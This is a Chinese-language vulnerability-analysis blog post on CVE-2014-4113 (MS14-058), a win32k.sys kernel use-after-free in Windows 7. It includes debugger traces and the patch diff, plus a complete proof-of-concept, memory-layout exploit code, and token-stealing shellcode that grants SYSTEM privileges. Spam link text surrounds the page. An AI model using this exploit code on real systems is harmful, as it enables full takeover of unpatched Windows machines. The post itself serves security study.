最美情侣中文字幕电影,在线麻豆精品传媒,在线网站高清黄,久久黄色视频

歡迎光臨散文網 會員登陸 & 注冊

漏洞分析:MS14-058(CVE-2014-4113)

2022-10-20 17:49 作者:rkvir逆向工程學院  | 我要投稿

作者:selph

漏洞分析:CVE-2014-4113

漏洞介紹

漏洞程序

Microsoft Windows是美國微軟(Microsoft)公司發(fā)布的一系列操作系統(tǒng)。win32k.sys是Windows子系統(tǒng)的內核部分,是一個內核模式設備驅動程序,它包含有窗口管理器、后臺控制窗口和屏幕輸出管理等。

如果Windows內核模式驅動程序不正確地處理內存中的對象,則存在一個特權提升漏洞。成功利用此漏洞的攻擊者可以運行內核模式中的任意代碼。攻擊者隨后可安裝程序;查看、更改或刪除數(shù)據(jù);或者創(chuàng)建擁有完全管理權限的新帳戶。

漏洞原理

該漏洞發(fā)生的位置是在驅動文件Win32k.sys中的xxxHandleMenuMessage函數(shù)中,銷毀彈出菜單的時候通過鉤子的方法修改返回值,將返回值修改為fffffffb,因為對這個值沒有嚴格的檢查從而在sendmessage中再次被引用到,從而造成了UAF,這個方法可以在sendmessage中跳轉到shellcode從而提權

實驗環(huán)境

虛擬機:Windows 7 x86 sp1

物理機:Windows 10 x64 21H2

用到的工具:IDA,Windbg,VS2022

漏洞分析

以網上隨便找的poc為突破口,開始分析漏洞,在虛擬機里運行poc,windbg接管異常,說明漏洞實際存在(默認安裝的Windows7x86sp1)

查看調用堆棧:

kd> kb
?# ChildEBP RetAddr????? Args to Child???????
00 af0bfa64 9d5b95c5???? fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout+0xb3
01 af0bfa8c 9d6392fb???? fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage+0x28
02 af0bfaec 9d638c1f???? af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages+0x582
03 af0bfb38 9d63f8f1???? fd665208 9d71f580 00000000 win32k!xxxMNLoop+0x2c6
04 af0bfba0 9d63f9dc???? 0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx+0x5cd
05 af0bfc14 83e441ea???? 00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx+0xc3
???
06 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry+0x12a
???
07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet

查看一下當前異常的地方:

kd> u
win32k!xxxSendMessageTimeout+0xb3:
9d5b93fa 3b7e08????????? cmp?? ??edi,dword ptr [esi+8]
9d5b93fd 0f8484000000??? je????? win32k!xxxSendMessageTimeout+0x140 (9d5b9487)
9d5b9403 8b0e??????????? mov???? ecx,dword ptr [esi]
9d5b9405 8b15e4d1719d??? mov???? edx,dword ptr [win32k!gSharedInfo+0x4 (9d71d1e4)]
9d5b940b 81e1ffff0000??? and???? ecx,0FFFFh
9d5b9411 0faf0de8d1719d? imul??? ecx,dword ptr [win32k!gSharedInfo+0x8 (9d71d1e8)]
9d5b9418 33c0??????????? xor???? eax,eax
9d5b941a f644110901????? test??? byte ptr [ecx+edx+9],1

是esi的值導致了漏洞,查看esi的值:

kd> r esi
esi=fffffffb

在調用鏈中,由用戶層的TrackPopupMenu函數(shù)觸發(fā)漏洞,而這個函數(shù)的功能是在屏幕指定位置顯示快捷菜單并且跟蹤選擇的菜單項(參考資料[6])

這里頭會調用xxxMNLoop,這個函數(shù)里有while(1)循環(huán),應該是消息循環(huán),處理消息的函數(shù)貌似正是xxxHandleMenuMessages

據(jù)查閱資料(參考資料[11]),TrackPopupMenu顯示菜單之后,消息循環(huán)就由菜單接管了,此時進入的是PopupMenu的消息循環(huán)

分析xxxHandleMenuMessages

這里面開始經過一堆判斷之后,會通過xxxMNFindWindowFromPoint獲取一個窗口句柄,用于后續(xù)的xxxSendMessage函數(shù)使用

這個分支的大概內容是,從鼠標位置獲取下一層的菜單項,獲取到了就發(fā)送ButtonDown(0x1ED)消息,也就是說,執(zhí)行到這個分支實際上是點擊事件!

而這里對于xxxMNFindWindowFromPoint返回的句柄值的處理則是,如果不是-1,就發(fā)送0x1ED消息


分析xxxMNFindWindowFromPoint

異常發(fā)生在了xxxSendMessage里的,是由于第一個參數(shù)傳入的有問題導致的,而第一個參數(shù)來自xxxMNFindWindowFromPoint的返回值,該函數(shù)如下圖所示

可以看到這個函數(shù)的開頭:這里首先判斷了當前菜單是否存在下級菜單,條件是ppopupmenu->spwndNextPopup有值,這里的ppopupmenu是傳入的參數(shù),是PPOPUPMENU結構體(參考資料[14])

其中spwndNextPopup成員的值含義是:下一層Popup菜單,是WND結構,所以需要創(chuàng)建兩個popup菜單,其中一個作為另一個的下層

struct tagWND *spwndNextPopup;
???????????????????????? /* The next popup in the hierarchy. Null if the last
????????????????????????? * in chain
????????????????????????? */

這里發(fā)送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根據(jù)名字猜測功能就是根據(jù)位置找菜單窗口,發(fā)送的目標是popup菜單的下一層菜單,返回值應該就是菜單句柄了




這里對返回值會調用IsMFMWFPWindow函數(shù)進行處理:如果是非空,且不為-5或-1,就返回1

BOOL __stdcall IsMFMWFPWindow(int a1)
{
? return a1 && a1 != -5 && a1 != -1;
}

若這里返回了1,就會進入if語句導致該變量被重新賦值,也就是說,這里如果要跳過這個if語句,返回值就必須是-1或-5,而在前面看到,如果返回值是-1,則不會進入到觸發(fā)漏洞的SendMessage中,所以這里的返回值在為-5的時候,會觸發(fā)漏洞

分析xxxSendMessage

int __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString, void *Src)
{
? InterlockedIncrement(&glSendMessage);
? return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src, 0, 0, 0, (PVOID)1);
}

這個函數(shù)把傳入的參數(shù)又接著傳入了xxxSendMessageTimeout函數(shù)

分析xxxSendMessageTimeout

程序異常點在esi的值上,esi=-5被傳入了進來,然后進行取值觸發(fā)地址訪問異常


這個函數(shù)首先把這個值保存到了esi



接著往下有一個比較跳轉:會從esi+8的地址取值



再往下還有兩個要esi的地方:



Poc編寫

如果能控制0x1EB消息的返回值為-5,那么就能走到xxxSendMessageTimeout中,讓程序異常觸發(fā)漏洞,實現(xiàn)poc

參考師傅們的筆記(參考資料[15])得知,這里的調用SendMessage存在兩種調用形式,同步和異步,在異步調用的情況下,會從內核態(tài)進入用戶態(tài)去執(zhí)行用戶鉤子,執(zhí)行完再切換回內核態(tài)返回:因此,可以Hook 0x1EB消息

Poc如下(參考自參考資料[5]的poc代碼):

#include
#include

LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
??? //?手動觸發(fā)按下事件
??? if (uMsg == WM_ENTERIDLE) {
??????? PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0);
??????? PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0);
??????? PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
??? }
??? return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

LRESULT CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
??? //?觸發(fā)漏洞,返回-5
??? if (uMsg == 0x1eb) {
??????? return -5;
??? }

??? return DefWindowProc(hWnd, uMsg, wParam, lParam);
}

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam)
{
??? CWPSTRUCT* ptag = (CWPSTRUCT*)lParam;
??? if (ptag->message == 0x1eb)
??? {
??????? //?這里至關重要:需要解除Hook
??????? if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
??????????? SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun);
?? ?????}
??? }
??? return CallNextHookEx(0, code, wParam, lParam);
}


int main()
{
??? //?注冊窗口類
??? WNDCLASSA wnd = { 0 };
??? wnd.hInstance = ::GetModuleHandle(NULL);
??? wnd.lpfnWndProc = DialogFun;
??? wnd.lpszClassName = "CVE-2014-4113";
??? RegisterClassA(&wnd);

??? //?創(chuàng)建窗口
??? HWND hwnd = ::CreateWindowA(
??????? wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wnd.hInstance, NULL);

??? //?創(chuàng)建Pop-up菜單
??? //?需要兩個菜單,一個作為子菜單存在
??? HMENU menu1 = CreatePopupMenu();??? //?主菜單
??? HMENU menu2 = CreatePopupMenu();??? //?子菜單
??? ::AppendMenuA(menu2, MF_STRING, 0, "world");
??? ::AppendMenuA(menu1, MF_STRING | MF_POPUP, (UINT_PTR)menu2, "hello");? //給它一個?spwndNextPopup?指針

??? //?設置Hook
??? ::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId());

??? //?觸發(fā)漏洞
??? BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0);

??? return 0;
}

這里踩了個坑!!設置完鉤子在里頭記得要解除鉤子!??!

漏洞利用

在Poc的基礎上,如果能控制0x3,0x11,0x5B這幾個地址的值,就能進行漏洞的利用

布置內存

DWORD GetPtiCurrent() {
?? ?__asm
??? {
??????? mov eax, fs: [0x18]
??????? mov eax, [eax + 0x40]
??? }
}

BOOL initMem() {
??? //?初始化一些要用到的內存
??? HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
??? typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)(
??????? HANDLE ProcessHandle,
? ??????PVOID* BaseAddress,
??????? ULONG ZeroBits,
??????? PULONG AllocationSize,
??????? ULONG AllocationType,
??????? ULONG Protect
??????? );
??? PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");

??? //?申請內存
??? ULONG base = -5;
??? ULONG size = 0x1000;
??? NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
??? if (ntstatus != 0) {
???? ???FreeLibrary(hNtdll);
??????? return FALSE;
??? }
??? *(DWORD*)0x3 = GetPtiCurrent();
??? *(BYTE*)0x11 = (BYTE)4;
??? *(DWORD*)0x5B = (DWORD)ShellCode;
??? return TRUE;
}

Shellcode

來自參考資料[19]

int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4)
{
??? _asm
??? {
??????? pushad
??????? mov eax, fs: [124h]???? // Find the _KTHREAD structure for the current thread
??????? mov eax, [eax + 0x50]?? // Find the _EPROCESS structure
??????? mov ecx, eax
??????? mov edx, 4???????? ?????// edx = system PID(4)

??????? // The loop is to get the _EPROCESS of the system
??????? find_sys_pid :
??????? mov eax, [eax + 0xb8]?? // Find the process activity list
??????? sub eax, 0xb8?????????? // List traversal
??????? cmp[eax + 0xb4], edx? ??// Determine whether it is SYSTEM based on PID
??????? jnz find_sys_pid

??????? // Replace the Token
??????? mov edx, [eax + 0xf8]
??????? mov[ecx + 0xf8], edx
??????? popad
??? }
??? return 0;
}

完整代碼見GitHub:https://github.com/kn0sky/vul-analysis-study/blob/main/CVE-2014-4113/CVE-2014-4113.cpp

利用截圖



補丁diff

漏洞觸發(fā)點(0x1ED消息)處的函數(shù)對比



可以看到,左邊檢查ebx參數(shù)是檢查是否是-1,不是-1則發(fā)送消息

右邊的檢查則多了一個過程,調用了IsMFMWFPWindow函數(shù)進行再次檢查:

BOOL __stdcall IsMFMWFPWindow(int a1)
{
? return a1 && a1 != -5 && a1 != -1;
}

這下子直接杜絕了把-5當作參數(shù)傳入SendMessage函數(shù)的情況,從而修補了漏洞

參考資料

??[1]?CVE - CVE-2014-4113 (mitre.org)

??[2]?國家信息安全漏洞庫?(cnnvd.org.cn)

??[3]?Download Windows 7?安全更新程序?(KB3000061) from Official Microsoft Download Center

??[4]?CVE-2014-4113提權漏洞學習筆記?-?知乎?(zhihu.com)

??[5]?cveXXXX/poc.cpp at master · B2AHEX/cveXXXX · GitHub

??[6]?TrackPopupMenuEx function (winuser.h) - Win32 apps | Microsoft Docs

??[7]?CreatePopupMenu function (winuser.h) - Win32 apps | Microsoft Docs

??[8]?AppendMenuA function (winuser.h) - Win32 apps | Microsoft Docs

??[9]?CallWndProc callback function (Windows) | Microsoft Docs

??[10]?SetWindowLongPtrA function (winuser.h) - Win32 apps | Microsoft Docs

??[11]?TrackPopupMenu彈出菜單后父窗口的消息響應問題-CSDN社區(qū)

??[12]?Win32k: mnloop.c?文件參考?(gitee.io)

??[13]?Win32k: menu.c?源文件?(gitee.io)

??[14]?Win32k: tagPOPUPMENU結構體?參考?(gitee.io)

??[15]?【技術分享】經典內核漏洞調試筆記?-?安全客,安全資訊平臺?(anquanke.com)

??[16]?[原創(chuàng)]CVE-2014-4113分析及Exploit逆向-二進制漏洞-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com

??[17]?[原創(chuàng)]CVE-2014-4113提權漏洞學習筆記-二進制漏洞-看雪論壇-安全社區(qū)|安全招聘|bbs.pediy.com

??[18]?CVE-2014-4113 Windows內核經典Use Afer Free漏洞分析?| Thunder_J (thunderjie.github.io)

??[19]?CVE/CVE-2014-4113.c at master · ThunderJie/CVE · GitHub

??[20]?CVE-2014-4113_Thunder_J的博客-CSDN博客


漏洞分析:MS14-058(CVE-2014-4113)的評論 (共 條)

分享到微博請遵守國家法律
沁阳市| 饶阳县| 土默特左旗| 建阳市| 隆昌县| 德化县| 平山县| 怀安县| 金沙县| 博湖县| 阜平县| 张家港市| 肥西县| 克什克腾旗| 宿迁市| 富顺县| 朝阳县| 济南市| 绥阳县| 博爱县| 开原市| 达孜县| 湄潭县| 大关县| 义马市| 隆回县| 综艺| 孝昌县| 白玉县| 永昌县| 尼玛县| 塘沽区| 东阿县| 郓城县| 登封市| 长泰县| 新巴尔虎左旗| 大余县| 北碚区| 东乌珠穆沁旗| 资兴市|